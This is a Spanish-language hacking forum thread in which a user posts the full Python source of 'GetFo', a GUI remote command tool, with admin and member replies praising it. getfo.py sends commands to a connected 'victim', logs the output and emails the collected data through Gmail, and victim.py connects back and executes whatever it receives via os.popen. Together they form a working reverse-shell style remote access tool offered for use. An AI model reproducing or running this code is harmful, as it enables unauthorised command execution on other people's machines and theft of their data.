comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[v2.0/GUI] GetFo

  • 3 Respuestas
  • 1107 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« en: Abril 27, 2015, 08:52:38 am »
I'm back.  8)
(No sé si es "legal" abrir este post, ya que es una actualización de mi anterior aporte, pero como se le añadió algo tan "grande" como una GUI, pues decidí abrirlo  :o)

Si algo le faltaba a getfo.py, era una bonita y simple GUI.  ;D

El funcionamiento es el mismo, abrimos un servidor, lo ponemos a escuchar, acepta una conexión (victima), envia comandos, los recibe, los guarda en un archivo de texto plano, y nos dá la opción de poder enviarlo por correo (Gmail). Usé un poco del code de mis 2 anteriores aportes, para "acelerar el proceso de cocinado".

getfo.py :
Código: Python
  1. from tkinter import *
  2. from tkinter.messagebox import showinfo, showerror, askquestion
  3. from email.mime.multipart import MIMEMultipart
  4. from email.mime.text import MIMEText
  5. import os, sys, smtplib, socket, threading
  6.  
  7. class GUI(Tk):
  8.     '''La ventana principal, main menu.'''
  9.     def __init__(self):
  10.         Tk.__init__(self)
  11.         self.wm_iconbitmap('icono.ico')
  12.         self.title("GetFo | A socket, a victim")
  13.         self.resizable(0,0)
  14.         self.config(bg="black")
  15.  
  16.         topimg = PhotoImage(file="mainimage.gif")
  17.         t = Label(self, image=topimg, bg="black")
  18.         t.image = topimg
  19.         t.grid(row =0, column=0, padx=5,pady=5)
  20.      
  21.         Button(self, text="Start Server", command=self.toget, bg="black", fg="green", activeforeground="green", activebackground="black").grid(row=1, column=0, sticky=NSEW)
  22.         Button(self, text="Send info", command=self.toemail, bg="black", fg="green").grid(row=2, column=0, sticky=NSEW)
  23.         Button(self, text="Exit", command=self.quit, bg="black", fg="red").grid(row=3, column=0, sticky=NSEW)
  24.  
  25.         Label(self, text="Coded by Barlan | April 26, 2015", bg="black", fg="white").grid(row=4, column=0)
  26.  
  27.     '''Estas funciones "ocultan" la ventana principal, y nos muestran alguna de las otras 2 opciones.'''
  28.     def toget(self):
  29.         self.withdraw()
  30.         Get()
  31.  
  32.     def toemail(self):
  33.         self.withdraw()
  34.         Email()
  35.  
  36. class Get(threading.Thread):
  37.     '''Este es el servidor.
  38.    Se asigna un socket, y espera una conexión. Al conectarse un cliente, inicia el envio de comandos.'''
  39.     def __init__(self):
  40.         threading.Thread.__init__(self)
  41.         try:
  42.             self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  43.             self.socksv.bind(("127.0.0.1", 10327))
  44.             showinfo("Info", "Server now listening on 127.0.0.1:10327")
  45.         except socket.error as e:
  46.             showerror("Sorry!", str(e))
  47.             self.socksv.close()
  48.             sys.exit(1)
  49.  
  50.         self.root = Toplevel()
  51.         self.root.wm_iconbitmap('icono.ico')
  52.         self.root.resizable(0,0)
  53.         self.root.title("GetFo | Server")
  54.         self.root.config(bg="black")
  55.  
  56.         topimg = PhotoImage(file="mainserver.gif")
  57.         t = Label(self.root, image=topimg, bg="black")
  58.         t.image = topimg
  59.         t.grid(row=0, column=0)
  60.  
  61.         self.start()
  62.  
  63.     def run(self):
  64.         '''start() comienza la ejecución del servidor
  65.        Muestra un mensaje de espera, y procede a esperar una conexión entrante.
  66.        '''
  67.         ac = Label(self.root, text="Awaiting connection...", bg="black", fg="white").grid(row=1, column=0)
  68.         self.socksv.listen(2)
  69.         self.sc, self.addr = self.socksv.accept()
  70.  
  71.         ac = Label(self.root, text="%s is now awaiting commands!" % str(self.addr), bg="black", fg="white").grid(row=1, column=0)
  72.         self.cmds()
  73.  
  74.     def cmds(self):
  75.         '''Aquí el usuario intruduce el comando a ejecutar en el cliente.'''
  76.         vc = StringVar()
  77.  
  78.         f = Frame(self.root, bg="black")
  79.         f.grid(row=2,column=0)
  80.         c = Label(f, text="Command>", bg="black", fg="white").grid(row=0, column=0, sticky=NSEW)
  81.         self.cmd = Entry(f, textvariable=vc, width = 40)
  82.         self.cmd.grid(row=0, column=1)
  83.  
  84.         Button(self.root, text="Send!", command=self.send_cmd, bg="black", fg="green").grid(row=3, column=0, sticky=NSEW)
  85.         Button(self.root, text="Exit", command=self.ask, bg="black", fg="red").grid(row=4, column=0, sticky=NSEW)
  86.  
  87.     def ask(self):
  88.         aq = askquestion("Wait!", "Do you want to send the results via email?", icon='info')
  89.         if aq == "yes":
  90.             self.email()
  91.         elif "no":
  92.             self.exit_s()
  93.  
  94.     def send_cmd(self):
  95.         '''Obtenemos el comando escrito, y lo enviamos al cliente.'''
  96.         to_cmd = self.cmd.get()
  97.         if to_cmd == "exit":
  98.             self.sc.send(to_cmd.encode("utf-8"))
  99.             self.sc.close()
  100.             self.socksv.close()
  101.             exit()
  102.  
  103.         self.sc.send(to_cmd.encode("utf-8"))
  104.         self.recv_ans()
  105.  
  106.     def recv_ans(self):
  107.         '''Después de que el cliente ejecuta el comando, recibimos los datos resultantes, y los guardamos en "data.txt"'''
  108.         rec = self.sc.recv(2048)
  109.         txt = rec.decode("utf-8")
  110.         if os.path.exists("data.txt"):
  111.             with open("data.txt", "a") as f:
  112.                 f.write(txt + "\n\n")
  113.         else:
  114.             with open("data.txt", "w") as f:
  115.                 f.write(txt + "\n\n")
  116.         showinfo("Success!", "Data received and saved on 'data.txt'")
  117.         self.cmds()
  118.  
  119.     def exit_s(self):
  120.         self.sc.send("exit".encode("utf-8"))
  121.         self.sc.close()
  122.         self.socksv.close()
  123.         exit()
  124.  
  125.     def email(self):
  126.         self.root.withdraw()
  127.         Email()
  128.  
  129. class Email():
  130.     '''Email() nos brinda una ventana hija con los campos necesarios para el logueo en el servicio de Gmail.'''
  131.     def __init__(self):
  132.         try:
  133.             self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
  134.         except Exception as e:
  135.             showerror("Fatal Error", str(e))
  136.             exit()
  137.         self.GW = Toplevel()
  138.         self.GW.wm_iconbitmap('icono.ico')
  139.         self.GW.resizable(0,0)
  140.         self.GW.title("GetFo | Gmail Loggin")
  141.         self.GW.config(bg="black")
  142.  
  143.         topim = PhotoImage(file="header-gmail.gif")
  144.         r = Label(self.GW, image=topim, bg="black")
  145.         r.image = topim
  146.         r.pack()
  147.        
  148.         me = StringVar()
  149.         mp = StringVar()
  150.         Frame_User = Frame(self.GW, bg="black")
  151.         Frame_User.pack()
  152.  
  153.         Label(Frame_User, text="Your Gmail account:", bg="black", fg="green").pack(side=LEFT)
  154.         self.my_email = Entry(Frame_User, textvariable=me, width = 25)
  155.         self.my_email.pack(side=RIGHT)
  156.    
  157.         Frame_Pass = Frame(self.GW, bg="black")
  158.         Frame_Pass.pack()
  159.  
  160.         Label(Frame_Pass, text="Your Password:", bg="black", fg="green").pack(side=LEFT)
  161.         self.my_passw = Entry(Frame_Pass, textvariable=mp, show="*", width = 25)
  162.         self.my_passw.pack(side=RIGHT)
  163.  
  164.         self.email_button = Button(self.GW, text="Enter", command=self.login_gmail, bg="black", fg="green")
  165.         self.email_button.pack(fill=X)
  166.  
  167.         salir = Button(self.GW, text="Exit", command=self.GW.quit, bg="black", fg="red")
  168.         salir.pack(fill=X)
  169.  
  170.     def login_gmail(self):
  171.         '''login_gmail() recibe nuestros datos, e intenta loguearnos'''
  172.         account = self.my_email.get()
  173.         self.password = self.my_passw.get()
  174.         self.gmail.ehlo()
  175.         self.gmail.starttls()
  176.         try:
  177.             self.gmail.login(account, self.password)
  178.             showinfo("Success", "You are now logged in Gmail.")
  179.         except:
  180.             showerror("Error", "Unable to login into %s." % account)
  181.             exit()
  182.         gmail = self.gmail
  183.         newEmail(gmail, account)
  184.         self.GW.withdraw()
  185.  
  186. class newEmail(Email):
  187.     ''' Despues de loguearnos, procedemos a crear el email junto con el archivo (datos recolectados) ajuntados.'''
  188.     def __init__(self, gmail, account):
  189.         ne = Toplevel()
  190.         ne.wm_iconbitmap('icono.ico')
  191.         ne.resizable(0,0)
  192.         ne.title("GetFo | New Email")
  193.         ne.config(bg="black")
  194.         self.gmail = gmail
  195.         self.email = account
  196.  
  197.         topim = PhotoImage(file="sending_info.gif")
  198.         r = Label(ne, image=topim, bg="black")
  199.         r.image = topim
  200.         r.grid()
  201.    
  202.         et = StringVar()
  203.         es = StringVar()
  204.        
  205.         LE = Frame(ne, bg="black")
  206.         LE.grid(row=1, column=0)
  207.  
  208.         Label(LE, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, columnspan=2, sticky=NSEW)
  209.         Label(LE, text="Attachment: 'data.txt'", bg="black", fg="orange").grid(row=1, column=0, columnspan=2, sticky=NSEW)
  210.  
  211.         Label(LE, text="To:", bg="black", fg="green").grid(row = 2, column = 0, columnspan=2, sticky=W)
  212.         self.email_to = Entry(LE, textvariable=et, width = 35)
  213.         self.email_to.grid(row = 2, column = 1, sticky=E)
  214.    
  215.         Label(LE, text="Subject:", bg="black", fg="green").grid(row = 3, column = 0, columnspan=2, sticky=W)
  216.         self.email_subject = Entry(LE, textvariable=es, width = 35)
  217.         self.email_subject.grid(row = 3, column = 1, sticky=E)
  218.    
  219.         Label(LE, text="Your Message:", bg="black", fg="green").grid(row = 4, column = 0, sticky=W)
  220.         self.email_msg = Text(LE, width = 35, height = 5)
  221.         self.email_msg.grid(row = 4, column = 1, sticky=E)
  222.    
  223.         self.email_button = Button(ne, text="Send", command=self.sendEmail, bg="black", fg="green")
  224.         self.email_button.grid(row = 2, column = 0, sticky=NSEW)
  225.        
  226.         salir = Button(ne, text="Exit", command=ne.quit, bg="black", fg="red")
  227.         salir.grid(row = 3, column = 0, sticky=NSEW)
  228.  
  229.     def sendEmail(self):
  230.         '''Se obtienen los datos de los campos.'''
  231.         self.to = self.email_to.get()
  232.         self.subject = self.email_subject.get()
  233.         self.msg = self.email_msg.get("1.0", END)
  234.  
  235.         # Ahora añadiremos el archivo al cuerpo del mensaje
  236.         msg = MIMEMultipart('alternative')
  237.         msg['Subject'] = self.subject
  238.         msg['From'] = self.email
  239.         body = self.msg
  240.  
  241.         filename = "data.txt"
  242.         r = open(filename)
  243.         att = MIMEText(r.read())
  244.         att.add_header("Content-Disposition", "attachment", filename = filename)
  245.         msg.attach(att)
  246.  
  247.         content = MIMEText(body, 'plain')
  248.         msg.attach(content)
  249.         try:
  250.             self.gmail.sendmail(self.email, self.to, msg.as_string())
  251.             showinfo("Completed","Email sent successfully to %s" % self.to)
  252.             exit()
  253.         except Exception as e:
  254.             showerror("Error", str(e))
  255.             exit()
  256.  
  257. GUI().mainloop()
  258.  

victim.py :
Código: Python
  1. import socket, os
  2.  
  3. class cCMD():
  4.     def start(self):
  5.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6.         try:
  7.             sock.connect(("127.0.0.1", 10327))
  8.             print("[!+] Connection established!")
  9.         except:
  10.             print("[-] Can't establish a connection to server.")
  11.             exit()
  12.         while True:
  13.             print("\n[...] Awaiting commands...")
  14.             re = sock.recv(1024)
  15.             cmd = re.decode("utf-8")
  16.             if cmd == "exit":
  17.                 print("\n[...] Exiting")
  18.                 exit()
  19.             text = os.popen(cmd)
  20.             data = str(text.read())
  21.             sock.send(data.encode("utf-8"))
  22.             print("[+] Data sent succesfully.")
  23.  
  24. if __name__ == "__main__":
  25.     cCMD().start()
  26.  

Fotocapturas:










El código fuente de los 2 archivos, así como las imagenes usadas están dentro de un archivo .rar: No tienes permisos para ver links. Registrate o Entra con tu cuenta


Críticas y opiniones son bienvenidos.

Saludos!
« Última modificación: Abril 27, 2015, 01:06:02 pm por Barlan »


Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5380
  • Actividad:
    75%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #1 en: Abril 27, 2015, 09:02:10 am »
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!

Saludos y sigue así!

ANTRAX


Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Abril 27, 2015, 11:06:56 am »
Excelente Barlan! Te ha quedado muy bien!

Muchas gracias por compartír! Seguí así!
+1

Saludos!
WhiZ


Desconectado Barlan

  • *
  • Underc0der
  • Mensajes: 89
  • Actividad:
    0%
  • Reputación 0
  • "The demons of my own design"
    • Ver Perfil
  • Twitter: @BarlanV
« Respuesta #3 en: Abril 27, 2015, 12:39:25 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Bro!! Que buen aporte!! No hay problema con que hayas abierto otro post, son dos cosas totalmente distintas.
Te ha quedado muy bueno y me pone muy contento que los users de underc0de se animen a programar y a compartir sus creaciones!

Saludos y sigue así!

ANTRAX

Gracias ANTRAX!  :D
Ojalá y los nuevos users se animen a postear sus aportes, me emociona ver lineas de código que no entiendo.

No tienes permisos para ver links. Registrate o Entra con tu cuenta
Excelente Barlan! Te ha quedado muy bien!

Muchas gracias por compartír! Seguí así!
+1

Saludos!
WhiZ

Gracias WhiZ!  ;D


 

¿Te gustó el post? COMPARTILO!



[Herramienta] getfo.py

Iniciado por Barlan

Respuestas: 7
Vistas: 1596
Último mensaje Abril 22, 2015, 03:06:55 pm
por Barlan